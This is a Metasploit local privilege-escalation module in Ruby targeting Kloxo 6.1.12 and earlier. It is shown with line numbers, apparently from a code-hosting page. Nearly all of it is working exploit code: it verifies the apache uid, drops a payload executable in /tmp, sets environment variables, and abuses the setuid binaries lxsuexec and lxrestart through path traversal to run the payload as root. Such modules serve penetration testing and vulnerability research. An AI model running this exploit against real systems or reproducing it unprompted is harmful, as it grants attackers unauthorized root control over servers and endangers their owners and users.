Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::EXE
10
  include Msf::Post::File
11
  include Msf::Exploit::FileDropper
12

13
  include Msf::Exploit::Local::Linux
14

15
  def initialize(info={})
16
    super(update_info(info, {
17
      'Name'          => 'Kloxo Local Privilege Escalation',
18
      'Description'   => %q{
19
          Version 6.1.12 and earlier of Kloxo contain two setuid root binaries such as
20
        lxsuexec and lxrestart, allow local privilege escalation to root from uid 48,
21
        Apache by default on CentOS 5.8, the operating system supported by Kloxo.
22
        This module has been tested successfully with Kloxo 6.1.12 and 6.1.6.
23
      },
24
      'License'       => MSF_LICENSE,
25
      'Author'        =>
26
        [
27
          'HTP', # Original PoC according to exploit-db
28
          'juan vazquez' # Metasploit module
29
        ],
30
      'Platform'      => [ 'linux' ],
31
      'Arch'          => [ ARCH_X86 ],
32
      'SessionTypes'  => [ 'shell' ],
33
      'Payload'		=>
34
        {
35
          'Space'     => 8000,
36
          'DisableNops' => true
37
        },
38
      'References'    =>
39
        [
40
          [ 'EDB', '25406' ],
41
          [ 'OSVDB', '93287' ],
42
          [ 'URL', 'http://roothackers.net/showthread.php?tid=92' ] # post referencing the vulnerability and PoC
43
        ],
44
      'Targets'       =>
45
        [
46
          [ 'Kloxo 6.1.12', {} ]
47
        ],
48
      'DefaultOptions' =>
49
        {
50
          'PrependSetuid'    => true
51
        },
52
      'DefaultTarget' => 0,
53
      'Privileged'     => true,
54
      'DisclosureDate' => '2012-09-18'
55
    }))
56
  end
57

58
  def exploit
59
    # apache uid (48) is needed in order to abuse the setuid lxsuexec binary
60
    # .text:0804869D                 call    _getuid
61
    # .text:080486A2                 cmp     eax, 48
62
    # .text:080486A5                 jz      short loc_80486B6 // uid == 48 (typically apache on CentOS)
63
    # .text:080486A7                 mov     [ebp+var_A4], 0Ah
64
    # .text:080486B1                 jmp     loc_8048B62 // finish if uid != 48
65
    # .text:08048B62 loc_8048B62:                           ; CODE XREF: main+39j
66
    #.text:08048B62                                         ; main+B0j
67
    #.text:08048B62                 mov     eax, [ebp+var_A4]
68
    #.text:08048B68                 add     esp, 0ECh
69
    #.text:08048B6E                 pop     ecx
70
    #.text:08048B6F                 pop     esi
71
    #.text:08048B70                 pop     edi
72
    #.text:08048B71                 pop     ebp
73
    #.text:08048B72                 lea     esp, [ecx-4]
74
    #.text:08048B75                 retn
75
    #.text:08048B75 main            endp
76
    print_status("Checking actual uid...")
77
    id = cmd_exec("id -u")
78
    if id != "48"
79
      fail_with(Failure::NoAccess, "You are uid #{id}, you must be uid 48(apache) to exploit this")
80
    end
81

82
    # Write msf payload to /tmp and give provide executable perms
83
    pl = generate_payload_exe
84
    payload_path = "/tmp/#{rand_text_alpha(4)}"
85
    print_status("Writing payload executable (#{pl.length} bytes) to #{payload_path} ...")
86
    write_file(payload_path, pl)
87
    register_file_for_cleanup(payload_path)
88

89
    # Profit
90
    print_status("Exploiting...")
91
    cmd_exec("chmod +x #{payload_path}")
92
    cmd_exec("LXLABS=`grep lxlabs /etc/passwd | cut -d: -f3`")
93
    cmd_exec("export MUID=$LXLABS")
94
    cmd_exec("export GID=$LXLABS")
95
    cmd_exec("export TARGET=/bin/sh")
96
    cmd_exec("export CHECK_GID=0")
97
    cmd_exec("export NON_RESIDENT=1")
98
    helper_path = "/tmp/#{rand_text_alpha(4)}"
99
    write_file(helper_path, "/usr/sbin/lxrestart '../../..#{payload_path} #'")
100
    register_file_for_cleanup(helper_path)
101
    cmd_exec("lxsuexec #{helper_path}")
102
  end
103
end
104

105